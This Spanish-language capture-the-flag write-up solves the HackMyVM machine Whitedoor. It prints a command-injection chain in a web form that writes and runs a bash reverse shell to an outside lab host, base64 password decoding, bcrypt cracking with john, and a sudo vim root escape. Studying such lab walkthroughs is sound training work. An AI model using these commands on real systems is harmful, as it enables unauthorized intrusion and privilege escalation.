Whitedoor
¡Hola, hacker! ¡Bienvenido a un nuevo post!
En este artículo, abordaremos la resolución de la máquina Whitedoor de la plataforma HackMyVM. La máquina aloja un sitio web que presenta un formulario con un campo de entrada, el cual nos concede la capacidad de ejecutar comandos del sistema sin previa validación. De este modo, conseguimos acceso al sistema como el usuario www-data
. A continuación, realizamos un movimiento lateral para obtener acceso como el usuario whiteshell
al descifrar una contraseña codificada en base64, la cual encontramos en un archivo de texto plano. Posteriormente, nos enfrentamos al desafío de romper un hash codificado presente en un archivo .txt
. Finalmente, aprovechamos una configuración inadecuada de sudo
para elevar nuestros privilegios, logrando así una exitosa escalada de privilegios.
Reconocimiento
Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Reconocimento usando el comando ping
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).
Enumeración
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
1
nmap -sS -p- --open --min-rate 5000 -Pn -n 20.20.20.9 -vvv -oG scanPorts
Descubrimiento de puertos abiertos
Parámetros utilizados:
-sS
: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
).--open
: Solo considerar puertos abiertos.--min-rate 5000
: Establece el número mínimo de paquetes que nmap enviará por segundo.-Pn
: Desactiva el descubrimiento de host por medio de ping.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.-oG
: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.
1
nmap -sCV -p22,80 -vvv -oN targeted 20.20.20.9
Descubrimiento de versión y servicio con nmap
Parámetros utilizados:
-sCV
Es la combinación de los parámetros-sC
y-sV
. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
)-oN
: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivotargeted
. En este caso, utiliza el formato por defecto de nmap.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
Explotación
FTP
Como observamos en el escaneo anterior, el servicio ftp
permite acceder con el usuario anonymous
. En este caso, debemos ingresar como contraseña anonymous@20.20.20.9
. Al listar el contenido, nos encontramos con un archivo README.md
el cual nos descargamos.
Al ver su contenido, nos muestra el siguiente mensaje: ¡Good luck!
:wink:.
Usuario www-data
Continuamos explorando y accedemos al sitio web que se encuentra en ejecución en el puerto 80, donde nos encontramos con lo siguiente:
Contamos un campo de entrada, que al ingresar cualquier texto de prueba nos indica que solo el comando ls
esta permitido.
Permission denied. Only the ls command is allowed
Si ejecutamos el comando ls
, podemos ver que se listan algunos nombres de archivos.
Intentemos ejecutar más de un comando en la misma ejecución. En bash
, podemos ejecutar varios comandos en una misma línea utilizando el punto y coma ; para separarlos. Utilizando la siguiente sintaxis:
1
comando1; comando2; comando3; comando4
Observamos que efectivamente funciona. Logramos ejecutar el segundo comando después del punto y coma.
Teniendo en cuenta, que tenemos capacidad de ejecución de comandos, ejecutemos una reverse shell. Para lo cual, cremos un archivo (shell.sh
) bajo el directorio /tmp
el cual contiene nuestra reverse shell, todo esto desde un oneliner.
Antes de ejecutar nuestra reverse shell, pongámonos en escucha con netcat nc
por el puerto 4444.
Ejecutamos la reverse shell.
1
ls; echo 'bash -i >& /dev/tcp/20.20.20.5/4444 0>&1' > /tmp/shell.sh; chmod +x /tmp/shell.sh; bash /tmp/shell.sh
De esta manera, ganamos acceso al sistema.
Usuario whiteshell
Haciendo una enumeración básica del sistema, encontramos un archivo llamado .my_secret_password.txt
bajo el directorio Desktop
del usuario whiteshell
.
Archivo .my_secret_password.txt
Podemos determinar a que tipo de hash corresponde el conjunto de caracteres encontrado, utilizando la web tunnelsup.com.
Vemos que no logra identificar ningun hash, pero nos indica que el tipo de caracteres corresponde con la codificación base64.
Si decodificamos esta cadena utilizando esta codificación, obtenemos una nueva cadena codificada en base64.
Decodificación de cadena usando base64
Decodificamos la nueva cadena usando nuevamente base64 y obtenemos la contraseña del usuario whiteshell
.
Decodificación de cadena usando base64
Usuario Gonzalo
Realizamos nuevamente una enumeración básica al sistema y encontramos un archivo llamado .my_secret_hash
bajo el directorio Desktop
del usuario Gonzalo
el cual contiene un hash codificado con el algoritmo bcrypt.
Hash de la contraseña del usuario Gonzalo
Usamos john
para romper el hash y obtener la contraseña del usuario Gonzalo
.
Crackeamos el hash usando john para obtener la contraseña
Gonzalo:qwertyuiop
Nos logueamos como el usuario Gonzalo
y leemos el flag de user.txt
.
Escalada de privilegios
Al realizar una enumeración del sistema, notamos que el usuario Gonzalo
tiene la capacidad de ejecutar el editor vim
con privilegios de sudo
, sin requerir la contraseña (NOPASSWD).
Si hacemos una búsqueda en GTFOBins, podemos ver que existen varias alternativas de poder escalar nuestros privilegios en este contexto GTFOBins - vim, en este caso, usare la primera de ellas.
1
sudo vim -c ':!/bin/sh'
De esta forma, logramos elevar nuestros privilegios y podemos leer el flag del archivo root.txt
.
Así concluimos el Write-up de la máquina Whitedoor.
Espero que los conceptos hayan quedado claros. En caso de persistir alguna duda, te invito a repetir la máquina para afianzar tus conocimientos.
Gracias por tu lectura!
Happy Hacking!